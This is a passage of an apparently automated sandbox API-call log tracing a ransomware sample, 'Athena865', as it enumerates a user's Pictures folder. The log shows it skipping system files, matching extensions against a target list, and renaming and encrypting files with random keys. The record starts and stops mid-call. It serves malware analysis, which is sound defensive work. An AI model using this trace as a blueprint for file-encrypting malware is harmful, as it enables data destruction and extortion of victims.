(hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3cd0) returned 0x100000 [0051.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.568] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.568] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.569] CloseHandle (hObject=0x154) returned 1 [0051.569] CloseHandle (hObject=0x17c) returned 1 [0051.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.571] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3036ed30, ftCreationTime.dwHighDateTime=0x1d4c936, ftLastAccessTime.dwLowDateTime=0xd306db30, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xd306db30, ftLastWriteTime.dwHighDateTime=0x1d4cb6e, nFileSizeHigh=0x0, nFileSizeLow=0x185f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8s46zioVN.bmp", cAlternateFileName="A8S46Z~1.BMP")) returned 1 [0051.571] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.571] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.571] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2=".") returned 1 [0051.571] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="..") returned 1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="windows") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="bootmgr") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="temp") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="pagefile.sys") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="boot") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="ids.txt") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="ntuser.dat") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="perflogs") returned -1 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2="MSBuild") returned -1 [0051.572] lstrlenW (lpString="A8s46zioVN.bmp") returned 14 [0051.572] lstrcpyW (in: lpString1=0x241e8b8, lpString2="A8s46zioVN.bmp" | out: lpString1="A8s46zioVN.bmp") returned="A8s46zioVN.bmp" [0051.572] lstrlenW (lpString="A8s46zioVN.bmp") returned 14 [0051.572] lstrlenW (lpString="Athena865") returned 9 [0051.572] lstrcmpiW (lpString1="zioVN.bmp", lpString2="Athena865") returned 1 [0051.572] lstrlenW (lpString=".dll") returned 4 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2=".dll") returned 1 [0051.572] lstrlenW (lpString=".lnk") returned 4 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2=".lnk") returned 1 [0051.572] lstrlenW (lpString=".ini") returned 4 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2=".ini") returned 1 [0051.572] lstrlenW (lpString=".sys") returned 4 [0051.572] lstrcmpiW (lpString1="A8s46zioVN.bmp", lpString2=".sys") returned 1 [0051.572] lstrlenW (lpString="A8s46zioVN.bmp") returned 14 [0051.572] lstrlenW (lpString="bak") returned 3 [0051.572] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0051.572] lstrlenW (lpString="ba_") returned 3 [0051.572] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0051.572] lstrlenW (lpString="dbb") returned 3 [0051.572] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0051.572] lstrlenW (lpString="vmdk") returned 4 [0051.572] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0051.572] lstrlenW (lpString="rar") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0051.573] lstrlenW (lpString="zip") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0051.573] lstrlenW (lpString="tgz") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0051.573] lstrlenW (lpString="vbox") returned 4 [0051.573] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0051.573] lstrlenW (lpString="vdi") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0051.573] lstrlenW (lpString="vhd") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0051.573] lstrlenW (lpString="vhdx") returned 4 [0051.573] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0051.573] lstrlenW (lpString="avhd") returned 4 [0051.573] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0051.573] lstrlenW (lpString="db") returned 2 [0051.573] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0051.573] lstrlenW (lpString="db2") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0051.573] lstrlenW (lpString="db3") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0051.573] lstrlenW (lpString="dbf") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0051.573] lstrlenW (lpString="mdf") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0051.573] lstrlenW (lpString="mdb") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0051.573] lstrlenW (lpString="sql") returned 3 [0051.573] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0051.573] lstrlenW (lpString="sqlite") returned 6 [0051.573] lstrcmpiW (lpString1="VN.bmp", lpString2="sqlite") returned 1 [0051.573] lstrlenW (lpString="sqlite3") returned 7 [0051.573] lstrcmpiW (lpString1="oVN.bmp", lpString2="sqlite3") returned -1 [0051.574] lstrlenW (lpString="sqlitedb") returned 8 [0051.574] lstrcmpiW (lpString1="ioVN.bmp", lpString2="sqlitedb") returned -1 [0051.574] lstrlenW (lpString="xml") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0051.574] lstrlenW (lpString="$er") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0051.574] lstrlenW (lpString="4dd") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0051.574] lstrlenW (lpString="4dl") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0051.574] lstrlenW (lpString="^^^") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0051.574] lstrlenW (lpString="abs") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0051.574] lstrlenW (lpString="abx") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0051.574] lstrlenW (lpString="accdb") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accdb") returned 1 [0051.574] lstrlenW (lpString="accdc") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accdc") returned 1 [0051.574] lstrlenW (lpString="accde") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accde") returned 1 [0051.574] lstrlenW (lpString="accdr") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accdr") returned 1 [0051.574] lstrlenW (lpString="accdt") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accdt") returned 1 [0051.574] lstrlenW (lpString="accdw") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accdw") returned 1 [0051.574] lstrlenW (lpString="accft") returned 5 [0051.574] lstrcmpiW (lpString1="N.bmp", lpString2="accft") returned 1 [0051.574] lstrlenW (lpString="adb") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.574] lstrlenW (lpString="adb") returned 3 [0051.574] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.575] lstrlenW (lpString="ade") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0051.575] lstrlenW (lpString="adf") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0051.575] lstrlenW (lpString="adn") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0051.575] lstrlenW (lpString="adp") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0051.575] lstrlenW (lpString="alf") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0051.575] lstrlenW (lpString="ask") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0051.575] lstrlenW (lpString="btr") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0051.575] lstrlenW (lpString="cat") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0051.575] lstrlenW (lpString="cdb") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0051.575] lstrlenW (lpString="ckp") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0051.575] lstrlenW (lpString="cma") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0051.575] lstrlenW (lpString="cpd") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0051.575] lstrlenW (lpString="dacpac") returned 6 [0051.575] lstrcmpiW (lpString1="VN.bmp", lpString2="dacpac") returned 1 [0051.575] lstrlenW (lpString="dad") returned 3 [0051.575] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0051.575] lstrlenW (lpString="dadiagrams") returned 10 [0051.575] lstrcmpiW (lpString1="6zioVN.bmp", lpString2="dadiagrams") returned -1 [0051.575] lstrlenW (lpString="daschema") returned 8 [0051.575] lstrcmpiW (lpString1="ioVN.bmp", lpString2="daschema") returned 1 [0051.575] lstrlenW (lpString="db-journal") returned 10 [0051.576] lstrcmpiW (lpString1="6zioVN.bmp", lpString2="db-journal") returned -1 [0051.576] lstrlenW (lpString="db-shm") returned 6 [0051.576] lstrcmpiW (lpString1="VN.bmp", lpString2="db-shm") returned 1 [0051.576] lstrlenW (lpString="db-wal") returned 6 [0051.576] lstrcmpiW (lpString1="VN.bmp", lpString2="db-wal") returned 1 [0051.576] lstrlenW (lpString="dbc") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0051.576] lstrlenW (lpString="dbs") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0051.576] lstrlenW (lpString="dbt") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0051.576] lstrlenW (lpString="dbv") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0051.576] lstrlenW (lpString="dbx") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0051.576] lstrlenW (lpString="dcb") returned 3 [0051.576] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0051.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\A8s46zioVN.bmp.Athena865") returned 80 [0051.576] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\A8s46zioVN.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\a8s46ziovn.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\A8s46zioVN.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\a8s46ziovn.bmp.athena865"), dwFlags=0x1) returned 1 [0051.577] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\A8s46zioVN.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\a8s46ziovn.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.577] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99825) returned 1 [0051.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.577] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.578] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.578] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.578] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18900, lpName=0x0) returned 0x154 [0051.578] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18900) returned 0x100000 [0051.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.582] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.582] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.584] CloseHandle (hObject=0x154) returned 1 [0051.584] CloseHandle (hObject=0x17c) returned 1 [0051.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.587] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe10aff0, ftCreationTime.dwHighDateTime=0x1d4c6b2, ftLastAccessTime.dwLowDateTime=0x4a9835f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0x4a9835f0, ftLastWriteTime.dwHighDateTime=0x1d4d221, nFileSizeHigh=0x0, nFileSizeLow=0x13858, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bwco6yVtwvrspPp.bmp", cAlternateFileName="BWCO6Y~1.BMP")) returned 1 [0051.587] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2=".") returned 1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="..") returned 1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="windows") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="bootmgr") returned 1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="temp") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="pagefile.sys") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="boot") returned 1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="ids.txt") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="ntuser.dat") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="perflogs") returned -1 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2="MSBuild") returned -1 [0051.588] lstrlenW (lpString="bwco6yVtwvrspPp.bmp") returned 19 [0051.588] lstrcpyW (in: lpString1=0x241e8b8, lpString2="bwco6yVtwvrspPp.bmp" | out: lpString1="bwco6yVtwvrspPp.bmp") returned="bwco6yVtwvrspPp.bmp" [0051.588] lstrlenW (lpString="bwco6yVtwvrspPp.bmp") returned 19 [0051.588] lstrlenW (lpString="Athena865") returned 9 [0051.588] lstrcmpiW (lpString1="rspPp.bmp", lpString2="Athena865") returned 1 [0051.588] lstrlenW (lpString=".dll") returned 4 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2=".dll") returned 1 [0051.588] lstrlenW (lpString=".lnk") returned 4 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2=".lnk") returned 1 [0051.588] lstrlenW (lpString=".ini") returned 4 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2=".ini") returned 1 [0051.588] lstrlenW (lpString=".sys") returned 4 [0051.588] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp", lpString2=".sys") returned 1 [0051.588] lstrlenW (lpString="bwco6yVtwvrspPp.bmp") returned 19 [0051.588] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\bwco6yVtwvrspPp.bmp.Athena865") returned 85 [0051.588] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\bwco6yVtwvrspPp.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\bwco6yvtwvrsppp.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\bwco6yVtwvrspPp.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\bwco6yvtwvrsppp.bmp.athena865"), dwFlags=0x1) returned 1 [0051.589] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\bwco6yVtwvrspPp.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\bwco6yvtwvrsppp.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.589] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79960) returned 1 [0051.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.590] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.590] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.590] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.591] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b60, lpName=0x0) returned 0x154 [0051.591] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13b60) returned 0x100000 [0051.594] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.594] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.594] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.595] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.596] CloseHandle (hObject=0x154) returned 1 [0051.596] CloseHandle (hObject=0x17c) returned 1 [0051.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.597] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe81fbcb0, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x91fae130, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0x91fae130, ftLastWriteTime.dwHighDateTime=0x1d4d58d, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CDOyMLO_YVxau.jpg", cAlternateFileName="CDOYML~1.JPG")) returned 1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2=".") returned 1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="..") returned 1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="windows") returned -1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="bootmgr") returned 1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="temp") returned -1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="pagefile.sys") returned -1 [0051.597] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="boot") returned 1 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="ids.txt") returned -1 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="ntuser.dat") returned -1 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="perflogs") returned -1 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2="MSBuild") returned -1 [0051.598] lstrlenW (lpString="CDOyMLO_YVxau.jpg") returned 17 [0051.598] lstrcpyW (in: lpString1=0x241e8b8, lpString2="CDOyMLO_YVxau.jpg" | out: lpString1="CDOyMLO_YVxau.jpg") returned="CDOyMLO_YVxau.jpg" [0051.598] lstrlenW (lpString="CDOyMLO_YVxau.jpg") returned 17 [0051.598] lstrlenW (lpString="Athena865") returned 9 [0051.598] lstrcmpiW (lpString1="YVxau.jpg", lpString2="Athena865") returned 1 [0051.598] lstrlenW (lpString=".dll") returned 4 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2=".dll") returned 1 [0051.598] lstrlenW (lpString=".lnk") returned 4 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2=".lnk") returned 1 [0051.598] lstrlenW (lpString=".ini") returned 4 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2=".ini") returned 1 [0051.598] lstrlenW (lpString=".sys") returned 4 [0051.598] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg", lpString2=".sys") returned 1 [0051.598] lstrlenW (lpString="CDOyMLO_YVxau.jpg") returned 17 [0051.598] lstrlenW (lpString="bak") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0051.598] lstrlenW (lpString="ba_") returned 3 [0051.598] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0051.598] lstrlenW 